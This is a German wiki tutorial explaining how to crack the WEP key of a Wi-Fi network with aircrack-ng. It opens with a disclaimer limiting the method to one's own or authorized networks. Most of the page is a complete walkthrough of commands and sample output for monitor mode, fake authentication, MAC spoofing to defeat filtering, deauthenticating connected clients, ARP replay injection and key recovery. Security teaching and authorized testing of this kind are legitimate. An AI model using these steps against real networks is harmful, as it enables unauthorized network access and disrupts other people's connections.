====== Haftungsausschluss ======
**WARNUNG!** Die folgenden Informationen könnten für illegale Zwecke missbraucht werden.
Legal ist das exemplarisch geschilderte Vorgehen nur bei der Verwendung des eigenen Netzwerks, um beispielsweise Sicherheitslücken auszumerzen. Fremde Netzwerke dürfen nicht angegriffen werden, er sei denn es liegt eine schriftliche Genehmigung des Besitzers vor.
**Noch einmal zur Wiederholung:** das "//Knacken//" von Netzwerken ist eine **Straftat** und **wird zivilstrafrechtlich verfolgt**. Anders sieht es aus, wenn das eigene Netzwerk ins Visier genommen wird - auch legal ist das Ganze mit fremden Netzwerken, wenn eine schriftliche Erlaubnis der Besitzers vorliegt.
====== Vorraussetzungen ======
Um erfolgreich Zugriff auf das Netzwerk zu erhalten, gilt es einige Punkte zu beachten:
* **Ausreichend physikalische Nähe zum Access-Point**, abhängig von der Netzwerkkarte und Leistung der Antennen. Wenn Signale von WLAN-Netzen empfangen werden heißt das noch lange nicht, dass auch Pakete zugesendet werden können, da die Sendeleistung von Netzwerkkarten oftmals geringer ist als die von Access-Points.
* **Ein Client im Netzwerk**, da mindestens 1 ARP-Request erfolgen muss, welcher danach immer und immer wieder zugesandt wird.
* Rechner/Notebook/PDA mit installiertem Linux oder einer Backtrack Live-CD
* Installierte Software
* **aircrack-ng** Software-Sammlung
* **macchanger** zur Modifizierung der MAC-Adresse bei aktiviertem MAC-Filter
* Anforderungen an den Treiber der Netzwerkkarte
* **Monitoring/Promiscous Mode-Funktionalität**, um den gesamten Netzwerktraffic mitzuschneiden und nicht nur die an den Rechner adressierten Pakete.
* Fähigkeit, **Injection** auszuführen, um schnellstmöglich viele ARP-Requests abzusenden. (//dazu später mehr//)
An Informationen werden darüber hinaus benötigt:
* **MAC-Adresse** der Netzwerkkarte, beispielsweise //00:32:25:a4:33:12//
* **ESSID** des Access Points, beispielsweise: //HACKMEPLZ//
* **BSSID**, MAC-Adresse des Access Points, beispielsweise //00:12:35:a7:f3:32//
* **Kanal** des Access Points, z.B. //11//
====== Vorgehensweise ======
Die Vorgehensweise/das Prinzip ist relativ simpel:
- Versetzen der Netzwerkkarte in den Monitoring-Modus, um den gesamten Netzwerk-Verkehr mitzuhören
- Injektion-Funktionalität überprüfen
- Authentifizierungsvorgang mit dem Access Point vortäuschen
- Initalisierungsvektor-Pakete (IVs) sammeln
- ...und letztendlich Cracken des WEP-Keys, wenn genügend Pakete gesammelt wurden
Mithilfe des Monitoring-Modus kann der gesamte Netzwerk-Traffic empfangen werden, anstatt nur die für den Client gedachten Pakete. Dieser Modus ist sehr wichtig und Kernvorraussetzung für das Vorhaben. Unterstützt die Netzwerkkarte - oder genauer gesagt der Treiber der Netzwerkkarte - keinen Monitoring-Modus, so scheitert das Experiment hier.
Ebenso wichtig ist es, dass vom Treiber der Netzwerkkarte sogenannte "//Injections//" unterstützt werden. Nachdem eine Authentifizierung mit dem Access Point vorgetäuscht wurde, müssen so genannte Initalisierungsvektor-Pakete (//IVs//) gesammelt werden. Mit vielen dieser IVs kann der WEP-Key berechnet werden. Bei herkömmlichem Netzwerkverkehr werden allerdings nicht sehr viele IVs übertragen - man könnte nun entweder Stunden, Tage, etc. warten oder das Ganze beschleunigen, und genau hier kommen Injections ins Spiel. In diesem Beispiel wird auf eine ARP-Anfrage eines Clients im WLAN-Netz gewartet - wird eine solche vom Rechner, der ja den ganzen Netzwerktraffic mitschneidet, empfangen, schickt er diese Anfrage zurück. Das löst einen nicht aufhörenden Fluss an IVs aus und es können ganz leicht in wenigen Minuten tausende AVs empfangen werden. Somit ist es ohne Probleme möglich in unter 5 Minuten ein WEP-Netzwerk anzugreifen und den Schlüssel zu knacken.
===== Vorbereitung - Zusammentragen der Informationen =====
Um nachher lästiges hin- und herschalten zwischen den Kommandozeilen zu vermeiden, empfehle ich die benötigten Informationen gesammelt zu notieren:
* ''MAC-Adresse der eigenen WLAN-Schnittstelle: **00:C1:e1:f3:32:03**''
* ''Gerätename der eigenen WLAN-Schnittstelle: **wlan0**''
* ''MAC-Adresse (BSSID) des WLAN-Access Points: **00:C0:f3:40:02:21**''
* ''ESSID (Netzwerkname) des WLAN-Access Points: **OHHAI**''
* ''Kanal des WLAN-Access Points: **11**''
===== 1. Monitoring auf der Schnittstelle aktivieren =====
Zuerst muss für die WLAN-Schnittstelle des Rechners Monitoring aktiviert werden. Zuerst ist es sinnvoll zu überprüfen, ob eventuell automatisch bereits Monitoring aktiviert wurde:
# airmon-ng
Interface Chipset Driver
wlan0 Atheros ath5k - [phy0]
Wichtig ist hier, dann **keine** Einträge a la "''mon0, mon1, mon2,...''" vorkommen. Diese bezeichnen virtuelle Monitoring-Schnittstellen und eine solche soll speziell für den Kanal des WLAN-Netzwerkes aktiviert werden - es sollte also vorab kein Monitoring aktiviert sein.
Sind solche Einträge zu finden, müssen diese deaktiviert werden:
# airmon-ng stop mon0
# airmon-ng stop mon1
# airmon-ng stop mon2
...
Danach wird eine virtuelle Monitoringschnittstelle für das WLAN-Netzwerk gestartet, interessant ist hier der Kanal des Netzwerkes - in unserem Beispiel **11**:
# airmon-ng start wlan0 11
Interface Chipset Driver
wlan0 Atheros ath5k - [phy0]
mon0 Atheros ath5k - [phy0] (monitor mode enabled)
Nach der Aktivierung sollten beide Adapter erkannt werden:
# iwconfig
...
wlan0 IEEE 802.11bg ESSID=""
Mode:Managed Frequency:2.462 Ghz Access Point:Not-Associated
...
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.462 Ghz Tx-Power=27 dBm
...
Sollte keinerlei Konnektivität zustande kommen, kann es helfen die Frequenz, den Kanal, den Standard (''a, b, g, n'') und die Geschwindigkeit der Netzwerkkarte fest auf die Einstellungen des Access-Points einzustellen, beispielsweise: ''Kanal 11, b-Standard, 11 Mbit''.
===== 2. Funktionalität von Injections verifizieren =====
Um später die Wartezeit zu verkürzen, sollte die Funktionalität von Injektions verifiziert werden. Mit dem folgenden Schritt wird sichergestellt, dass diese Technik möglich ist und sich der Client auch in der nötigen Reichweite des Netzwerkes befindet:
# aireplay-ng -9 -e OHHAI -a 00:C0:f3:40:02:21 mon0
* Der Schalter **-9** aktiviert den Injektion-Test
* **''-e''** definiert die ESSID des Netzwerks (//hier ''OHHAI''//)
* **''-a''** gibt die BSSID des Access Points an (//hier ''00:C0:f3:40:02:21''//)
* **''mon0''** bezeichnet den Namen der Netzwerkschnittstelle
Wichtig ist hier, dass die Antwort ähnlich der folgenden aussieht:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Trying broadcast probe requests...
Injection is working!
Found 1 AP
Trying directed probe requests...
00:C0:f3:40:02:21 - channel: 11 - 'OHHAI'
30/30: 100%
Elementar und wichtig sind hier die Zeilen "''Injection is working!''" und "''30/30: 100%''". Erscheint die erste Zeile nicht oder ist in der letzten Zeile ein "''30/30: 0%''" zu lesen, unterstützt der Treiber der Netzwerkkarte keine Injections und das Sammeln von IVs kann sehr viel Zeit in Anspruch nehmen. Ein Blick in die Kompatibilitätslisten (''siehe Internetverweise!'') kann hier bei der Recherche nach einer funktionierenden WLAN-KArte behilflich sein. Beinhaltet die letzte Zeile lediglich keine 100% sondern 70% oder mehr, besteht (''erstmal'') kein Grund zur Sorge.
Sollte man über sehr viel Geduld und Zeit verfügen kann man aber natürlich auch ohne Injektions vorgehe und einfach warten... ;-)
===== 3. Mitschneiden der IVs =====
Vom gesamten empfangenen Netzwerktraffic werden nun nur die interessanten IVs mitgeschnitten. Hierfür wird der folgenden Befehl ausgeführt:
airodump-ng -c 11 --bssid 00:C0:f3:40:02:21 -w iv_trace mon0
* Der Schalter **-c** definiert den Kanal des Netzwerkes (//hier ''Kanal 11''//)
* Die MAC-Adresse des Access Points wird durch den Schalter **--bssid** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die gefilterten IVs werden in einer Datei, welche im Schalter **-w** angegeben wird, gespeichert
* **mon0** definiert das Monitoring-Interface
Dieses Fenster wird nun offen gelassen, für den nächsten Schritt wird ein neues Fenster bzw. ein neuer Konsolentab geöffnet.
===== 4. Authentifizierungsvorgang vortäuschen =====
Als nächstes wird ein Authentifizierungsvorgang vorgetäuscht, damit die später mittels Injection zugesandten ARP-Pakete nicht verworfen werden.
Bei diesem Vorgang merkt sich der Access-Point die MAC-Adresse des Rechners. Bei Access Points mit MAC-Filterung kann man hier mithilfe des Programms **macchanger** die MAC-Adresse der Netzwerkschnittstelle auf eine bekannte und erlaubte setzen, beispielsweise die eines bereits in der Vergangenheit verbundenen Gerätes.
Dieser Schritt **muss erfolgreich abgeschlossen werden**, da ansonsten alle anderen Schritte nicht funktionieren.
Der Vorgang wird wie folgt in die Wege geleitet:
aireplay-ng -1 0 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
* Der Schalter **-1** aktiviert die Vortäuschung einer Authentifizierung
* Die Option **0** gibt an, in wie großen Zeitabständen in Sekunden die Re-Authentifizierung statt findet (//hier ''0'', also gar nicht//). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.
* Die ESSID des Access Points wird mit dem Schalter **-e** angegeben (//hier ''OHHAI''//)
* Die MAC-Adresse des Access Points wird durch den Schalter **-a** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters **-h** angegeben werden.
* **mon0** definiert das Monitoring-Interface
Manche Access-Points sind etwas "//pingelig//" und erfordern das Senden von regelmäßigen "''Keep Alive''"-Paketen und eine in periodischen Abständen erfolgenden Re-Authentifizierung. Hierfür empfiehlt sich der folgende Aufruf:
aireplay-ng -1 4800 -q 10 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
* Der Schalter **-q 10** aktiviert das Senden von "''Keep Alive''"-Paketen in Zeitabständen von 10 Sekunden
* **4800** definiert, dass alle 4800 Sekunden (//80 Minuten//) eine Re-Authentifizierung erfolgen muss.
Ein erfolgreicher Vorgang sieht etwa wie folgt aus:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentication Request
Authentication seuccessfull
Sending Association Request
Association successful :-)
Access Points mit MAC-Filterung können durch folgende Fehlermeldung erkannt werden:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentication Request (Open System) [ACK]
AP rejects the source MAC address (00:C1:e1:f3:32:03) ?
Authentication failed (code 1)
Abhilfe schafft das Faken der MAC-Adresse, etwa zu einer bekannten MAC-Adresse. Beispielsweise könnte man einige Zeit lang das Netz beobachten und sehen, wenn sich ein Gerät einwählt. Diese MAC-Adresse könnte man dann mittels **macchanger** setzen:
# macchanger wlan0 -m 4a:d5:3b:b1:h2:de
Voraussetzung hierfür ist, dass das Gerät nicht in Benutzung ist. Also müssen hier alle Programme der aircrack-Suite beendet, Monitoring ausgeschaltet und die Schnittstelle heruntergefahren werden.
Danach sollte dieser Schritt fehlerfrei ausgeführt werden können.
==== Shared Key Authentification ====
Verwendet der Access Point anstatt "//Open System Authentification//" allerdings "//Shared Key Authentification//", wird eine Verbindung nicht zustande kommen:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentification Request (Open System) [ACK]
Switching to shared key authentification
Read 50 Pakets...
Sending Authentification Request (Shared Key)
Sending Authentification Request (Shared Key) [ACK]
Authentification 1/2 successful
You should specify a xor file (-y) with at least 140 keystreambytes
Trying fragmented shared key fake auth.
Sending encrypted challenge. [ACK]
...
Attack was unsuccessful. Possible reasons:
...
Grund hierfür ist, dass das angeblich sichere "//Shared Key//"-Prinzip ein wenig anders arbeitet als die "//Open System Authentification//".
Abhilfe schafft es, einen Authentifizierungsvorgang eines Clients mitgehört zu haben. Anstatt zu warten, bis ein solcher Vorgang auftritt, kann auch ein bereits verbundener Client durch das Senden eines speziellen Signals mit etwas Glück vom WLAN-Netzwerk getrennt werden:
aireplay -0 0 -a 00:C0:f3:40:02:21 -c 00:c0:f2:f2:31:01 mon0
* Der Schalter **-0** aktiviert das Senden eines sogenannten "''DeAuth''" Signals
* Die Option **0** gibt an, wieviele Signalwiderholungen gesendet werden sollen. Statt wie hier einem Signal (''0'') können auch mehrere Signale gesendet werden
* Die MAC-Adresse des Access Points wird durch den Schalter **-a** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die MAC-Adresse des Zielclients wird mit dem Schalter **-c** angegeben. Ein verbundener Client kann beispielsweise mit **airmon-ng** herausgefunden werden.
* **mon0** definiert das Monitoring-Interface
Dieser Client muss sich dann wieder verbinden und der Vorgang kann "''mitgehört''" werden. Der Access Point schickt dem Client beispielsweise eine Zufallszahl, welche vom Client verschlüsselt zurückgeschickt wird. Durch diesen Vorgang geraten wir an die unverschlüsselte und verschlüsselte Zahl sowie an einen Initalisierungsvektor, mithilfe welcher nun selbst eine Authentifizierung erprobt werden kann. Das gelingt mittels "**aireplay-ng**":
aireplay-ng -1 0 -e OHHAI -y iv_trace*.xor -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
* Der Schalter **-1** aktiviert die Vortäuschung einer Authentifizierung
* Die Option **0** gibt an, in wie großen Zeitabständen in Sekunden die Re-Authentifizierung statt findet (//hier ''0'', also gar nicht//). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.
* Die ESSID des Access Points wird mit dem Schalter **-e** angegeben (//hier ''OHHAI''//)
* Das Keystream-File wird mithilfe des Schalters **-y** angegeben (//hier ''iv_trace*.xor''//)
* Die MAC-Adresse des Access Points wird durch den Schalter **-a** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters **-h** angegeben werden.
* **mon0** definiert das Monitoring-Interface
Danach sollte eine Authentifizierung möglich sein:
Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentification Request (Shared Key) [ACK]
Authentification 1/2 successful
Sending encrypted challenge. [ACK]
Authentification 2/2 successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)
===== 5. ARP-Requests zurücksenden =====
Eintreffende ARP-Requests können nun wieder in das Netzwerk gesendet werden, um möglichst viele IVs generien zu lassen und empfangen zu können. Hierfür wird **aireplay-ng** benutzt:
aireplay-ng -3 -b 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
* Der Schalter **-3** aktiviert das "''Injecten''" von ARP-Anfragen
* Die MAC-Adresse des Access Points wird durch den Schalter **-b** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters **-h** angegeben werden.
* **mon0** definiert das Monitoring-Interface
Wenn nun eine ARP-Anfrage eintrifft, wird sie zurückgeschickt. Der Paketzähler beginnt von nun an rasant zu steigen:
...
Read 647623 packets (got 368422 ARP requests), sent 256439 packets...
Nun gilt es, soviele Pakete wie möglich zu sichern. Üblicherweise werden je nach Länge des Passworts zwischen 100.000 und 300.000 Pakete benötigt.
Das Fenster bleibt ebenfalls geöffnet, für den letzten Schritt wird ein weiteres Fenster geöffnet.
===== 6. WEP-Key cracken =====
Bis genügend Pakete vorhanden sind, kann gelegentlich der folgende Befehl abgesetzt werden:
aircrack-ng -b 00:C0:f3:40:02:21 iv_trace.cap
* Die MAC-Adresse des Access Points wird durch den Schalter **-b** angegeben (//hier ''00:C0:f3:40:02:21''//)
* Die Datei mit den gespeicherten IVs wird als letzte Option angegeben (//hier ''iv_trace.cap''//)
Ein geknackter Key wird etwa wie folgt angezeigt:
Aircrack-ng 0.9
[00:01:21] Tested 295234 keys (got 45232 IVs)
KB depth byte(vote)
... ..... .....
KEY FOUND! [ 6A:6E:64:66:38:36:27:3B:6A:73:33:30:63 ] (ASCII: jndf86';js30n )
Decrypted correctly: 100%
Bricht aircrack-ng mit einem "**FAIL**" ab oder ist die potenzielle Übereinstimmung nicht auf 100%, sind womöglich noch nicht genügend Pakete vorhanden. In einem solchen Fall einfach noch einige Zeit warten.
======Screencast======
====== Quellen und Internetverweise ======
* Screencast zu diesem Artikel: http://vimeo.com/13226972
* Präsentation zu diesem Thema: {{:computer:netzwerk:wep.pdf|}}
* Projektseite der Live-CD "//Backtrack Linux//": http://www.backtrack-linux.org
* Offizielles Backtrack-Forum: http://www.backtrack-linux.org/forums
* Anleitung zum Patchen des Netzwerktreibers einer Intel WiFi Link 5100 unter Ubuntu Linux http://www.superkato.net/2009/03/16/injection-tutorial-fur-intel-wi-fi-link-5100-ubuntu/
* Interessanter Forenbeitrag zur Aktivierung des Monitorings von IPW2200-Netzwerkkarten: http://www.wardriving-forum.de/forum/showthread.php?t=61450
* Kleine Liste von Netzwerkkarten unter Backtrack und eventuellen Workarounds: http://backtrack.offensive-security.com/index.php?title=HCL:Wireless#IPW2200
* Interessanter Artikel über die Funktionsweise von WEP auf Wikipedia: http://de.wikipedia.org/wiki/Wired_Equivalent_Privacy
* Wiki-Artikel zum Knacken von WEP-Netzwerken im Wiki von Aircrack-NG: http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
* Wiki-Artikel zum Knacken von WEP-Netzwerken im Wiki eines deutschen Wardriving-Forums: http://www.wardriving-forum.de/wiki/Aircrack_tut